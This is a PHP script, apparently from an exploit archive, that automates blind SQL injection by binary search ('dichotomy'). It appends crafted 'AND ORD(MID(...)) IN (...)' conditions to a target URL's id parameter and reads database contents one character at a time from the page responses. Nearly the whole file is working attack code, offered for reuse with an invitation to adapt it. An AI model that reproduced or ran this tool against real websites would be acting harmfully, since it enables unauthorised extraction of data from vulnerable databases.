| 0. 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. 15. 16. 17. 18. 19. 20. 21. 22. 23. 24. 25. 26. 27. 28. 29. 30. 31. 32. 33. 34. 35. 36. 37. 38. 39. 40. 41. 42. 43. 44. 45. 46. 47. 48. 49. 50. 51. 52. 53. 54. 55. 56. 57. 58. 59. 60. 61. 62. 63. 64. 65. 66. 67. 68. 69. 70. 71. 72. 73. 74. 75. 76. 77. 78. 79. 80. 81. 82. 83. 84. 85. 86. 87. 88. 89. 90. 91. 92. 93. 94. 95. 96. 97. 98. 99. 100. 101. 102. 103. 104. 105. 106. 107. 108. 109. 110. 111. 112. 113. 114. 115. 116. 117. 118. 119. 120. 121. 122. 123. 124. 125. 126. 127. 128. 129. 130. 131. 132. 133. 134. 135. 136. 137. 138. 139. 140. 141. 142. 143. 144. 145. 146. 147. 148. 149. 150. 151. 152. 153. 154. 155. 156. 157. 158. 159. 160. 161. 162. | <?php
# Name -> Blind SQL Injection by Dichotomy Function
# Credits -> charles "real" F. <charlesfol[at]hotmail.fr>
# Date -> 13-04-08
/*
*
* This c0de uses the dichotomy algorithm to retrieve SQL data.
*
* Dichotomy can be schematised like this:
*
* 1/1 [---------x----------------------]
* 1/2 [///////////////][---------------]
* 1/4 [-------][//////]
* 1/8 [//][--]
*
* It permits demencial charsets use, and charset order
* doesn't matter.
*
* The useful function is blind(), the rest is just useful to
* view results easily.
* It's an example, you can/must modify it.
*
*
* Maths time:
* c = max queries by letter for 1-by-1 test
* n = max queries by letter for dichotomy algorithm
* c = 2^n
*
* So ... n<c.If you don't trust me ... try.
*
*
*/
#------------ EXAMPLE --------------------------------------------------------
$debug = true;
$url = "http://localhost/vuln.php?id=3"; # target url
$match = "Name|Titre"; # bsqli match
# charset
$charset =
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
."0123456789_-'\"~#&(){}[]<>|`:/;!?";
print "\n";
print "Query: $argv[1]\n";
print "Charset: $charset (".strlen($charset).")\n";
print "\n";
print "Result: ";
blind("$argv[1]",$charset,32);
print "\n";
#-----------------------------------------------------------------------------
/*
* blind() - Blind SQL Injection by Dichotomy
*
* @param query the SQL query
* @param charset the charset you wanna use
* @param nbchars max number of chars
*
*/
function blind($query,$charset,$nbchars=50)
{
global $debug; /* debug var permit a verbose output */
$result = "";
$current_letter = 1;
/* for each letter */
while($current_letter<=$nbchars)
{
$add=0;
# We need a peer charset length
$start = intval(strlen($charset)/2);
if( ($start/2) != intval($start/2) ) $start += 1;
# Blind SQL Injection by Dichotomy
for($i=$start;$i>1;$i=intval($i/2+0.5))
{
# Put the substring on the right form.
$sub = substr($charset,$add+$i,$i);
$sub = preg_replace("#(.)#",",$1",$sub);
$sub = preg_replace("#([^,])#e","ord('$1')",$sub);
$sub = substr($sub,1);
$sub = "(".$sub.")";
$sql = "ORD(MID(($query),$current_letter,1)) IN $sub";
if($debug) print "i=$i\tadd=$add\t".substr($charset,$add,$i).' | '.substr($charset,$add+$i,$i)."\n";
if(sql_attack($sql)) $add+=$i;
}
# Bruteforce for the last 2/3 letters.
for($k=$add;$k<=$add+2;$k++)
{
$letter = substr($charset,$k,1);
$sql = "ORD(MID(($query),$current_letter,1))=".ord($letter);
if($debug) print "\t\t$letter\n";
if(sql_attack($sql)) break;
$letter = '';
}
if($letter!='')
{
$result .= $letter;
if($debug) print "FOUND: $letter\n\n";
else print $letter;
}
else break;
$current_letter++;
}
return $result;
}
#-----------------------------------------------------------------------------
# Simple attack function (returns true/false)
function sql_attack($sql)
{
global $url,$match;
$result = get($url.urlencode(' AND '.$sql));
if(preg_match("#$match#i",$result)) return true;
return false;
}
# Simple GET function
function get($url)
{
$result = '';
preg_match("#^http://([^/]+)(/.*)$#i",$url,$infos);
$host = $infos[1];
$page = $infos[2];
$fp = fsockopen($host, 80, &$errno, &$errstr, 30);
$req = "GET $page HTTP/1.1\r\n";
$req .= "Host: $host\r\n";
$req .= "User-Agent: Mozilla Firefox\r\n";
$req .= "Connection: close\r\n\r\n";
fputs($fp,$req);
while(!feof($fp)) $result .= fgets($fp,128);
fclose($fp);
return $result;
}
?>
|